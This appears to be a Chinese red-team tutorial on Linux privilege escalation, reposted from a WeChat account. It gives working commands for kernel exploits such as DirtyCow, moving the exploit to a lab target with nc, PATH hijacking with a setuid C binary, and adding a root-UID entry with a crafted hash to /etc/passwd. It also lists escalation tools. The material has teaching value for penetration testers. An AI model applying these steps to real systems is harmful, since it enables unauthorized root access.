系统控制:安装、配置、卸载软件和服务。
数据访问:读取、修改和删除所有文件和数据库。
用户管理:创建、修改或删除用户账户和权限。
系统配置:更改网络、安全和其他核心设置。
硬件管理:控制硬件资源和设备。
远程访问:远程登录和控制系统。
安全策略:绕过或修改安全限制和防火墙规则。
系统维护:执行更新、备份和恢复。
监控和日志:查看系统和网络活动记录。
执行脚本和命令:运行系统级脚本和命令。
诊断和修复:检测和修复系统问题。
计划任务:创建定时执行的任务或脚本。
1、内核提权
内核漏洞提权方法
1、收集内核版本信息
uname -a #查看主机的内核信息
uname -m #查看系统内核架构(64位/32位)
uname -r #内核版本
cat /etc/lsb-release #当前系统发行版本
cat /etc/issue #查看发行版
cat /proc/version #内核信息
2、通过exploit-db
或searchsplopit
等工具搜索具体的内核版本信息
searchsploit Linux 4.4.0
基于收集到的信息 ,选择合适的提权脚本
3、利用python3 -m http.server
或wget
等服务将poc脚本传送至目标主机
查看脚本,需要进行编译
4、gcc编译
gcc 45010.c -o test
5、运行,拿到提权
./test
还可以利用linux-exploit-suggester、linux-exploit-suggester-2等工具对靶机的操作系统版本号自动查找相应提权脚本的工具
比如:linux-exploit-suggester工具
脏牛(DirtyCow)提权漏洞
通过 uname -a 命令来看:如果内核版本低于下面的版本说明还存在
- Centos7 /RHEL7 3.10.0-327.36.3.el7
- Cetnos6/RHEL6 2.6.32-642.6.2.el6
- Ubuntu 16.10 4.8.0-26.28
- Ubuntu 16.04 4.4.0-45.66
- Ubuntu 14.04 3.13.0-100.147
- Debian 8 3.16.36-1+deb8u2
- Debian 7 3.2.82-1
提权利用
- https://github.com/dirtycow/dirtycow.github.io
- https://github.com/gbonacini/CVE-2016-5195
- https://github.com/FireFart/dirtycow
- https://github.com/Rvn0xsy/reverse_dirty
准备脚本:https://github.com/gbonacini/CVE-2016-5195下载下来,然后复制到kali. 利用nc上传文件到靶机:先在靶机端进行监听:
nc -l 9528 > CVE-2016-5195-master.zip
然后在kali这边进行上传:
nc 192.168.111.24 9528 < CVE-2016-5195-master.zip
查看接收的文件:
然后解压进入文件夹进行编译:
直接执行这个文件:
直接切换,输入对应的密码:
提权成功!!!
2、环境变量提权
PATH
是Linux 和 Unix 操作系统中的环境变量,定义了操作系统搜索可执行文件的目录顺序。如果PATH包含可写目录,攻击者可以在这些目录中放置恶意可执行文件。
echo $PATH
默认情况下你会看到如下输出:
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
攻击者首先需要找到PATH变量中包含的可写目录。一旦找到了可写目录,攻击者可以在该目录中创建一个恶意的可执行文件。
find / -writable 2>/dev/null
在找到可写目录中创建脚本demo.c,写入想执行的命令。可以是/bin/bash
或C语言等脚本
demo.c的脚本内容
#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("ps");
}
使用使用gcc编译demo.c文件
gcc demo.c -o shell
将demo.c赋予SUID权限
chomd u+s shell
3、给 PATH 添加自定义路径:
$ PATH=$PATH:可写目录(绝对路径)
4、进入提权阶段,通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。
find / -perm -u=s -type f 2>/dev/null
3、明文root密码提权
新用户名:x:新用户ID:新组ID:用户注释:新用户主目录:登录 shell
lulu:x:0:0:root:/root:/bin/bash
用户名:lulu
密码:x (x 代表密码 hash 被放在 /etc/shadow文件中)
使用openssl生成一个hash,设置密码为admin
openssl passwd -1 -salt lulu admin
//-1为MD5加密算法,-salt指定盐值,后面为密码
lulu:$1$lulu$qx4Kv0orRvbuvbZEK44Ji.:0:0:root:/root:/bin/bash
4、Linux提权工具
https://github.com/jidongdeatao/LinuxTest
针对Linux操作系统的安全测试自动化工具(用于接口认证、鉴权、资产发现(端口扫描)、MySQL安全配置检查、敏感信息排查、密码复杂度、sudo提权检查)
https://github.com/rebootuser/LinEnum
脚本本地Linux枚举和提权
https://github.com/mzet-/linux-exploit-suggester
可以自动根据Linux操作系统的版本号查找相应的提权脚本,帮助检测给定Linux内核的安全缺陷
searchsploit :内核漏洞查询
GTFOBins: 一个数据库,列出了可以用于提权的Linux二进制文件
Traitor: 一个自动化提权工具,可以利用sudo权限、docker配置不当等漏洞进行提权
原文始发于微信公众号(红队蓝军):linux提权方法 (下)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论